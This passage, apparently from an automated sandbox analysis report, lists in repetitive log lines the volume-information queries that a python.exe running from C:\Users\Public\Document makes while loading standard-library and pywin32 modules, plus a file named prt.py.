Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\_distutils_hack\__pycache__\__init__.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\_distutils_hack\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\_distutils_hack\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\_distutils_hack\__pycache__\__init__.cpython-310.pyc.2165714659360 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\pywin32.pth VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib\__pycache__\pywin32_bootstrap.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib\__pycache__\pywin32_bootstrap.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib\pywin32_bootstrap.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib\__pycache__\pywin32_bootstrap.cpython-310.pyc.2165713219824 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\prt.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\prt.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\prt.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\prt.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\prt.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\re.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\re.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\re.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\re.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\re.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\re.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\re.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\re.cpython-310.pyc.2165714155456 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\enum.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\enum.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\enum.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\enum.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\enum.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\enum.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\enum.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\enum.cpython-310.pyc.2165714155568 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\types.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\types.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\types.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\types.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\types.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\types.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\types.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\types.cpython-310.pyc.2165714155792 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_compile.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_compile.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\sre_compile.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\sre_compile.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_compile.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_compile.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_compile.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\sre_compile.cpython-310.pyc.2165714383536 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_parse.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_parse.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\sre_parse.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\sre_parse.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_parse.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_parse.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_parse.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\sre_parse.cpython-310.pyc.2165714372400 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_constants.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_constants.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\sre_constants.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\sre_constants.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_constants.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_constants.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\sre_constants.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\sre_constants.cpython-310.pyc.2165714379440 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\functools.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\functools.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\functools.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\functools.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\functools.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\functools.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\functools.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\functools.cpython-310.pyc.2165714380080 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\collections\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\collections\__pycache__\__init__.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\collections\__pycache__\__init__.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\collections\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\collections\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\collections\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\collections\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\collections\__pycache__\__init__.cpython-310.pyc.2165712971056 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\keyword.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\keyword.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\keyword.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\keyword.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\keyword.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\keyword.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\keyword.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\keyword.cpython-310.pyc.2165714599472 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\operator.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\operator.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\operator.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\operator.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\operator.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\operator.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\operator.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\operator.cpython-310.pyc.2165714599472 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\reprlib.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\reprlib.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\reprlib.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\reprlib.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\reprlib.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\reprlib.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\reprlib.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\reprlib.cpython-310.pyc.2165714599472 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\copyreg.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\copyreg.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\copyreg.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\copyreg.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\copyreg.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\copyreg.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\copyreg.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\copyreg.cpython-310.pyc.2165714588720 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\base64.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\base64.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\base64.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\base64.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\base64.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\base64.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\base64.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\base64.cpython-310.pyc.2165719810096 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\struct.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\struct.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\struct.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\struct.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\struct.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\struct.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\struct.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\struct.cpython-310.pyc.2165719822416 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\pickle.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\pickle.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\pickle.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\pickle.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\pickle.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\pickle.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\pickle.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\pickle.cpython-310.pyc.2165737512208 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_compat_pickle.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_compat_pickle.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\_compat_pickle.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\_compat_pickle.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_compat_pickle.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_compat_pickle.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\_compat_pickle.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\_compat_pickle.cpython-310.pyc.2165720461872 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\win32\lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\ast.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\ast.py VolumeInformation	Jump to behavior
